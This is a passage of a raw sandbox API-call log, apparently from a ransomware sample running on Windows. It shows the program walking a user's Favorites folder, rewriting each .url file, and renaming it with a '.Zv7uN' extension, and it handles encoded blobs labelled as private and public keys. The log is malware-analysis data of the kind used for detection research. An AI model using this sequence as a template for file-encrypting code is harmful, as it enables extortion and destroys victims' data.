lpFatTime=0x18fa84) returned 1 [0125.119] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0125.122] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="..", cAlternateFileName="")) returned 1 [0125.122] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="IE Add-on site.url", cAlternateFileName="IEADD-~1.URL")) returned 1 [0125.122] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0125.122] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.123] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie add-on site.url"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0125.123] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie add-on site.url")) returned 0x20 [0125.123] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", dwFileAttributes=0x80) returned 1 [0125.125] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0125.125] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0125.127] GetCurrentThreadId () returned 0xa30 [0125.127] GetCurrentThreadId () returned 0xa30 [0125.127] GetCurrentThreadId () returned 0xa30 [0125.127] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0125.127] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f0109c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0125.128] GetCurrentThreadId () returned 0xa30 [0125.128] GetCurrentThreadId () returned 0xa30 [0125.128] GetCurrentThreadId () returned 0xa30 [0125.128] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie add-on site.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0125.128] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0125.128] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0125.128] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x85 [0125.128] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0125.128] ReadFile (in: hFile=0x1ec, lpBuffer=0x1f08ea0, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1f08ea0*, lpNumberOfBytesRead=0x18f6a0*=0x85, lpOverlapped=0x0) returned 1 [0125.131] CloseHandle (hObject=0x1ec) returned 1 [0125.131] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie add-on site.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0125.134] WriteFile (in: hFile=0x1ec, lpBuffer=0x1f0aed0*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f0aed0*, lpNumberOfBytesWritten=0x18f6ac*=0x85, lpOverlapped=0x0) returned 1 [0125.136] CloseHandle (hObject=0x1ec) returned 1 [0125.136] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie add-on site.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie add-on site.url.zv7un")) returned 1 [0125.137] GetCurrentThreadId () returned 0xa30 [0125.137] GetCurrentThreadId () returned 0xa30 [0125.137] GetCurrentThreadId () returned 0xa30 [0125.137] GetCurrentThreadId () returned 0xa30 [0125.137] GetCurrentThreadId () returned 0xa30 [0125.137] GetCurrentThreadId () returned 0xa30 [0125.137] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="IE site on Microsoft.com.url", cAlternateFileName="IESITE~1.URL")) returned 1 [0125.137] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0125.137] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.138] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie site on microsoft.com.url"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0125.138] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie site on microsoft.com.url")) returned 0x20 [0125.138] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url", dwFileAttributes=0x80) returned 1 [0125.140] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewr